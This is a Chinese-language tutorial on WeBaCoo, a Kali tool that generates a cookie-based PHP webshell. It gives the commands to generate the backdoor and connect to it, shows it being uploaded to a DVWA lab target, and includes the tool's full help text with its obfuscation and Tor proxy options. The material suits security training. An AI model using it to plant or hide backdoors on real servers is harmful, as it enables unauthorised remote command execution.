kali中的webshell工具--webacoo

webacoo

---

 

webshell其實就是放置在服務器上的一段代碼

 

kali中生成webshell的工具

WeBaCoo（Web Backdoor Cookie）

 

 

特點及使用方法

• 類終端的shell
• 編碼通信內容通過cookie頭傳輸，隱蔽性強
• cookie中傳遞數據使用的參數：
  • cm：base64編碼的命令
  • cn：服務器用於返回數據的cookie頭的名
  • cp：返回信息定界符
• 生成服務端
  • Webacoo -g -o a.php
• 客戶端連接
  • Webacoo -t -u http://x.x.x.x/a.php

 

生成一個webshell測試：

 

查看文件內容可以看到是被base64加密的

 

在DVWA靶機環境中上傳該文件

 

 

然后使用webacoo連接服務器

成功連接：

可以直接執行系統命令：

 

webacoo的隱蔽性高之一是因為他采用的是cookie傳參，且為base64加密

接着使用wireshark抓包查看其cookie參數：

這里cm選項中的字符串經過解碼后就是我們傳入的命令ls

 

服務器端返回的setcookie中的M-cookie字段就是命令返回的結果，cp變量值為QXg@和M-cookie中的開頭對應，為界定符。

 

這里的M-cookie可以在連接webshell時通過-c參數自定義：

 

除此外，webacoo還可以在連接時使用-p選項，通過代理服務器連接目標服務器

更多參數可以通過webacoo -h查看幫助手冊

root@bogon:~# webacoo -h

    WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
    Copyright (C) 2011-2012 Anestis Bechtsoudis
    { @anestisb | [e-mail] | http(s)://bechtsoudis.com }


Usage: webacoo [options]

Options:
  -g        Generate backdoor code (-o is required)

  -f FUNCTION    PHP System function to use
    FUNCTION
        1: system     (default)
        2: shell_exec
        3: exec
        4: passthru
        5: popen

  -o OUTPUT    Generated backdoor output filename

  -r         Return un-obfuscated backdoor code

  -t        Establish remote "terminal" connection (-u is required)

  -u URL    Backdoor URL

  -e CMD    Single command execution mode (-t and -u are required)

  -m METHOD    HTTP method to be used (default is GET)

  -c C_NAME    Cookie name (default: "M-cookie")

  -d DELIM    Delimiter (default: New random for each request)

  -a AGENT    HTTP header user-agent (default exist)

  -p PROXY    Use proxy (tor, ip:port or user:pass:ip:port)

  -v LEVEL    Verbose level
    LEVEL
        0: no additional info (default)
        1: print HTTP headers
        2: print HTTP headers + data

  -l LOG    Log activity to file

  -h        Display help and exit

  update    Check for updates and apply if any